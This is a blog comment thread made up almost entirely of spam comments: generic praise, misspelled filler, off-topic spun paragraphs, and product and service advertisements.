    Guess I’ll just book mark this page.

  • I love what you guys are usually up too. This sort of clever work and coverage!
    Keep up the fantastic works guys I’ve added you guys to blogroll.

  • At this time I am ready to do my breakfast, afterward having my breakfast coming again to read additional news.

  • You actually make it appear so easy together with your
    presentation but I find this topic to be actually something which
    I feel I’d by no means understand. It kind of feels too complicated and extremely vast for me.
    I am having a look forward on your subsequent post, I’ll attempt
    to get the hang of it!

  • What’s up every one, here every one is sharing such familiarity,
    therefore it’s nice to read this website, and I used to go to see this web site everyday.

  • Very quickly this website will be famous amid all blog visitors, due to it’s fastidious posts

  • Goodd post but I was waning to know if you could write
    a litte more on this topic? I’d be very thankful if youu could elaborate a little
    bbit further. Cheers!

  • It identifies music by allowing the phone to listen to it.

    What’s good about this app is that it allows you to switch from SMS to
    the app’s main function letting you send and
    receive MMS messages without incurring extra cost. With chat
    clients that use data connectivity, that’s not the case.

  • Howdy I am so glad I found your blog page, I really found you by accident, while I was looking on Yahoo
    for something else, Anyways I am here now and would just like to say thanks a
    lot for a incredible post and a all round thrilling blog (I also love
    the theme/design), I don’t have time to go through it all at the minute but I have book-marked
    it and also added your RSS feeds, so when I have time I will be
    back to read a great deal more, Please do keep up the
    great work.

  • Hi there Dear, are you genuinely visiting this website daily,
    if so afterward you will definitely take fastidious knowledge.

  • What’? u? Dear, ar? yyou genuinely isiting t?is site regularly, ?f so afterward ?ou will absoluteloy takme gookd ?now-?ow.

  • If you are flagged as SCAMS by MaxMind your application or purchase is kicked out
    for manual evaluation.

  • Asking questions are in fact nice thing if you are not understanding anything
    entirely, but this article provides pleasant understanding even.

  • Thhis is really interesting, You are a very skilled blogger.
    I’ve joined your feed and look forward too seeking more of your wonderful post.
    Also, I have shared your website in my social networks!

  • Mi garantía son los años de experiencia como Tarotista Profesional desde hace veinte años,
    ayudándote y guiándote en tu cada día.

  • Spending time hiking nature trails, riding, kayaking, or experiencing and enjoying the pleasures in a
    green spa, can also be responsible ways couples can safeguard the planet while they
    start their lives together. Wedding is utterly a divine ceremony signifying two independent souls gathering together within the
    name of love because of the friends and family on the present.
    If you happen to be, then you have to send your Birthday invitations
    for your event towards the near and dear ones.
    This is caused by getting to your beauty goods supply and retailing business sector and finding a certain goods supply wholesale beauty distributors Aesthetics is often a business which is winning fame.

    Some couples choosing to purchase the motorcycle picture
    wedding invitation decide to purchase other attire to use on that special day.
    Material prepared for the announcement by Patrick R.
    There are a lot of attractive textures available and you could end up in a fix when it comes to selecting the best one.

  • So, in addition to having the latitude and longitude
    of the location where a photo was taken, you can also update
    the city, state, country, and other location information as
    well. This style is also available in designs which fit flush against a wall, so again they are
    suitable for smaller living areas. As a consequence,
    I prefer to post the Hootoo IP camera setup steps.

  • Today, I went to the beach front with my kids.
    I found a sea shell and gave it to my 4 year old daughter and said
    “You can hear the ocean if you put this to your ear.” She placed
    the shell to her ear and screamed. There was a hermit crab inside and it pinched her ear.
    She never wants to go back! LoL I know this is totally off topic but I had to tell someone!

  • Terrific work! That is the type of info that are supposed to be shared around the internet.
    Disgrace on the seek engines for now not positioning this put up upper!
    Come on over and seek advice from my site . Thanks =)

  • It’s an amazing article in support of all the internet viewers; they will get advantage from it
    I am sure.

  • Hi! I simply want to offer you a huge thumbs up for your great info
    you’ve got right here on this post. I’ll be coming back to
    your website for more soon.

  • I read this article completely on the topic of the resemblance of newest and earlier technologies, it’s amazing article.

  • Hello there! I just want to give you a big thumbs up for your excellent info you
    have got right here on this post. I will be returning to your site for
    more soon.

  • Green repair shops are now using biodegradable cleaners to clean up
    their spills. There is also another body, the International Lubricant Standardization and Approval Committee (ILSAC), jointly
    set-up by US and Japanese motor manufacturers, which also recommends motor oil grades
    which comply with the API standard. As a possible example,
    if you’re using stiff card stock or a stiff business card (which
    you really should be) simply set the card across the top of a cup or mug of some sort.

  • Thanks for sharing your info. I truly appreciate
    your efforts and I am waiting forr your next post
    thanks once again.

  • Heya i’m for the first time here. I found this board and
    I to find It truly helpful & it helped me out a lot. I hope to
    give one thing again and help others like you aided me.

  • Nice weblog here! Also your website quite a bit up fast!
    What web host are you the usage of? Can I am getting your
    affiliate hyperlink on your host? I desire my site loaded up as fast as yours lol

  • What’s up i am kavin, its myy first occasion too commenting anywhere,
    when i read this post i thought i cokuld also
    create comment due to this brilliant piece of writing.

  • Because of the temporary results that you get from restylane (6 months to a year at best),
    other options began to surface and resurface. The different reconstructive plastic surgery
    options available include:. Patients are typically back
    to work just seven days post-operation.

  • Hsu HE, Shutt KA, Moore MR, et al. Result of pneumococcal conjugate shot on pneumococcal meningitis.

  • Achat Louboutin vente pas cher avec Prix Louboutin Chaussures,
    seulement le prix disponibles dans la boutique en ligne Louboutin ronron.Garantie de qualit?.
    Livraison gratuite. More from http://herault-arnod.fr/

  • Hi – ???????? , I do believe this is a
    great blog. I stumbledupon it 😉 I’m going to return once again since i have book-marked it.
    Money and freedom is the greatest way to change – ???????????? ,
    may you be rich and continue to help others – ???????? ???? .

  • If your pet is not allowed into the place, whether
    its hotel or tourist site then you won’t have any other
    option other than hiring a sitter for the time being or keeping the pet in the room or the lodge where you stay.
    However, if you go on a road trip, you may want to consider going
    with a larger vehicle. Visit their website if you are looking to find a chrome
    grille for your car.

  • This design is steller! You definitely know how to keep a reader entertained.
    Between your wit and your videos, I was almost moved to start my own blog (well, almost…HaHa!)
    Excellent job. I really loved what you had to say, and more than that, how you presented it.
    Too cool!

  • Repair all types of locks: Most of the qualified mobile locksmiths possess a adequate base
    of knowledge to operate on most makes of key and keyless lock systems.

    Benefits of hiring a NJ Maid Service company are enormous:
    . The basic purpose of a locksmith is to break and makes home keys, safe deposit
    boxes, and duplicate keys and also suggests a prospective client about the latest technologies
    for protecting the homes and repairs the locks on the doors and also for cars.

  • My brother recommended I might lkke this web site.
    He wwas totally right. Thiss poet truly made mmy day. You can not imagine juust
    hhow much ime I had spent ffor thks info! Thanks!

  • Appreciate the recommendation. Will try it out.

  • Ahaa, its nice conversation on the topic of this paragraph at this place
    at this webpage, I have read all that, so at this time
    me also commenting at this place.

  • I simply couldn’t depart your website prior to suggesting that I actually
    loved the usual info a person provide on your guests? Is going to be back incessantly to investigate cross-check
    new posts

  • If you have tried some of the options above and still not satisfied with your credit score,
    then this is your last option. They want to keep their broadcasting secure from unauthorized users while providing uninterrupted service to its subscribers.
    For even more security, Level 6 NSA and CSS approvedshredders are required to reduce a letter sized document to 12,000 particles or more.

  • Qualitry articles is tthe key to attract the
    viewers to visit the web page, that’s what this website is providing.

  • Thank you for the good writeup. It in reality was once a entertainment account it.
    Look advanced to far added agreeable from you!

    However, how can we keep up a correspondence?

  • I always spent my half an hour to read this web site’s articles daily along with a
    mug of coffee.

  • Asking questions are really nice thing if you are not understanding anything entirely, except this piece of writing
    provides nice understanding even.

  • Its like you read my mind! You appear to know so much about
    this, like you wrote the book in it or something.

    I think that you can do with a few pics to drive the message home a
    bit, but instead of that, this is fantastic blog.

    A great read. I will certainly be back.

  • This leads to the last and greatest challenge of the set, the role commercial censorship of Internet information.

  • According to news reports, Google was willing to throw
    down more than $19 billion. The surge in smartphone market has given rise to huge demand for development of
    applications. To stop texting, the mobile
    app has a shake to cancel feature.

  • Do you have a spam problem on this website; I also am a blogger, and I was curious about your situation; we have developed some nice practices and we are looking to trade solutions with other folks, be sure to shoot
    me an e-mail if interested.

  • I have been exploring for a little bit for any high quality articles
    or weblog posts in this sort of area . Exploring in Yahoo I finally stumbled
    upon this web site. Readng this info So i’m happy to
    exhibit that I’ve an incrediblyy just right uncanny feeling I discovered exactly
    what I needed. Imost no doubt will make surte to do not fail to remember this weeb site and give it a glance regularly.

  • Spot on with this write-up, I seriously feel this amazing site needs a
    great deal more attention. I’ll probably be returning to read through more, thanks for the advice!

  • When someone writes an article he/she maintains the thought of a user in his/her mind that howw a user can understand it.
    So that’s why this paragraph is outstdanding.
    Thanks!